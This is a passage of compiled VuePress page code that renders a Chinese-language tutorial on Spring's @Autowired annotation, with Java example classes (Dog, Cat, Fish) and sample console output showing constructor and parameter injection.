keyword"}},[s._v("return")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Dog{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cat="')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token char"}},[s._v("'}'")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br")])]),t("p",[s._v("此时,Spring默认加载IOC容器中的组件,IOC容器启动的时候默认会调用bean的无参构造器创建对象,然后再进行初始化赋值等操作。")]),s._v(" "),t("p",[s._v("接下来,我们为Dog类添加一个有参构造方法,然后去除setCat()方法上的@Autowired注解,将@Autowired注解标注在有参构造方法上,并在构造方法中打印信息,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("mykit"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("spring"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("plugins"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("register"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("beans"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("factory"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Autowired")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("stereotype"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Component")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试实体类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"调用了Dog的有参构造方法"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Dog{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cat="')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token char"}},[s._v("'}'")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br")])]),t("p",[s._v("接下来,我们运行AutowiredTest类的testAutowired01()方法进行测试,可以看到输出结果信息中存在如下一行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("调用了Dog的有参构造方法\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("说明IOC容器在启动的时候调用了Dog类的有参构造方法。并且可以从输出的如下两行信息可以看出:通过Dog类的toString()方法打印出的Cat对象和直接从IOC容器中获取的Cat对象是同一个对象。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Dog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nio.mykit.spring.plugins.register.bean.Cat@6a400542\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br")])]),t("p",[t("strong",[s._v("这里,需要大家注意的是:使用@Autowired注解标注在构造方法上时,构造方法中的参数对象也都是从IOC容器中获取的。")])]),s._v(" "),t("h3",{attrs:{id:"标注在参数上"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#标注在参数上"}},[s._v("#")]),s._v(" 标注在参数上")]),s._v(" "),t("p",[s._v("我们也可以将@Autowired注解标注在参数上,例如,在Dog类中我们将构造方法上的@Autowired注解标注在构造方法的参数上,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"调用了Dog的有参构造方法"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[s._v("也可以将@Autowired注解标注在setter方法的参数上,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("这些效果与标注在字段、实例方法和构造方法上的效果都是一样的。")]),s._v(" "),t("p",[s._v("例如,我们将@Autowired注解标注在构造方法的参数上,运行AutowiredTest类的testAutowired01()方法进行测试,可以看到,输出结果中,同样包含如下三行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("调用了Dog的有参构造方法\nDog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nio.mykit.spring.plugins.register.bean.Cat@6a400542\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[t("strong",[s._v("结论:无论Autowired注解标注在字段上、实例方法上、构造方法上还是参数上,都是从IOC容器中获取参数组件的值。")])]),s._v(" "),t("p",[t("strong",[s._v("如果Spring的bean只有一个有参构造方法,并且这个有参构造方法只有一个参数,并且这个参数是IOC容器中的对象,当@Autowired注解标注在这个构造方法的参数上时,我们可以将@Autowired注解省略")]),s._v(",如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"调用了Dog的有参构造方法"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[s._v("接下来,我们运行AutowiredTest类的testAutowired01()方法进行测试,从输出的结果信息中,可以看出,同样输出了下面的三行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("调用了Dog的有参构造方法\nDog"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@6a400542"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nio.mykit.spring.plugins.register.bean.Cat@6a400542\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[t("strong",[s._v("说明:如果Spring的bean只有一个有参构造方法,并且这个有参构造方法只有一个参数,并且这个参数是IOC容器中的对象,当@Autowired注解标注在这个构造方法的参数上时,我们可以将@Autowired注解省略。")])]),s._v(" "),t("h3",{attrs:{id:"标注在方法位置"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#标注在方法位置"}},[s._v("#")]),s._v(" 标注在方法位置")]),s._v(" "),t("p",[s._v("@Autowired注解可以标注在某个方法的位置上。这里,为了更好的演示效果,我们新建一个Fish类,在Fish类中有一个Cat类型的成员变量,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("mykit"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("spring"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("plugins"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("register"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toString")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Fish{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"cat="')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" cat "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token char"}},[s._v("'}'")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16"